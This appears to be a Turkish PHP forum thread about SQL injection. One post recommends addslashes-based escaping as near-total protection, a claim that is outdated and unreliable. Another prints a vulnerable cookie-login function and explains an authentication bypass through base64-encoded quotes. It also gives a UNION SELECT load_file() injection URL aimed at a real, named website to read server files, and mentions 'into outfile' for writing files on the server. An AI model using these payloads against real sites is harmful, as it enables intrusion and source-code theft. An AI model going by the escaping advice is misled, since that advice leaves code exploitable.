php'de SQL injection
6
●1.078
- 23-08-2006, 09:25:16Veritabanı işlemleri sırasında tüm değişkenleri eğer integer ise intval, ondalık sayı ise floatval veya yazı ise addslashes fonksiyonlarından geçirdikten sonra kullanınız. Mesela
"INSERT INTO tablo (integer_alan, float_alan, yazi_alan) VALUES('".intval($integer)."', '".floatval($float)."', '".addslashes($text)."')";Bu işlem sonucunda %99.9 SQL Injection açığınız bulunmaz. (%0.01 ihtimal var mı bilmiyorum) - 23-08-2006, 12:41:05if (!is_numeric($veri)) { echo ("S..tir Leyn Aptal Lamer"); }DNS1 adlı üyeden alıntı: mesajı görüntüle
- 12-03-2007, 12:40:05urldecode base64_decode kullanmayın verileri aldiqiniz variable lardan
function is_user() {
global $connection, $cookiename;
if(!$user = $_COOKIE["$cookiename"]) return false; 4
$user = base64_decode($user);
$user = explode(":", $user);
$uid = "$user[0]";
$pwd = "$user[2]";
if ($uid != "" AND $pwd != "") {
$result = @ mysql_query("SELECT password FROM "._TP."users WHERE userid='$uid'", $connection);
$row = @ mysql_fetch_array($result);
$pass = $row["password"];
if($pass == $pwd && $pass != "" ) {
return true;
}
}
return false;
}
bakın mesela çok kötü 1 func
base64_decode kullanmış magic quotess on olsa bile ' ı base64 ile encode ederek auth bypass yapabilirsiniz tabi bunla sınırlı deil
http://www.tug.tubitak.gov.tr/haber.php?id=-1+union+select+0,1,load_file("/var/www/html/index.php"),3,4,5/*
{ eğitim amaçlı veriyorum linki : ) }
remote source disclosure de yapabilirsiniz çok basitinden hatta sorgunun sonunda into outfile "/x/x.php" kullanarak dosya da oluşturabilirsiniz vs. :}

base64_decode kullanmış magic quotess on olsa bile ' ı base64 ile encode ederek auth bypass yapabilirsiniz tabi bunla sınırlı deil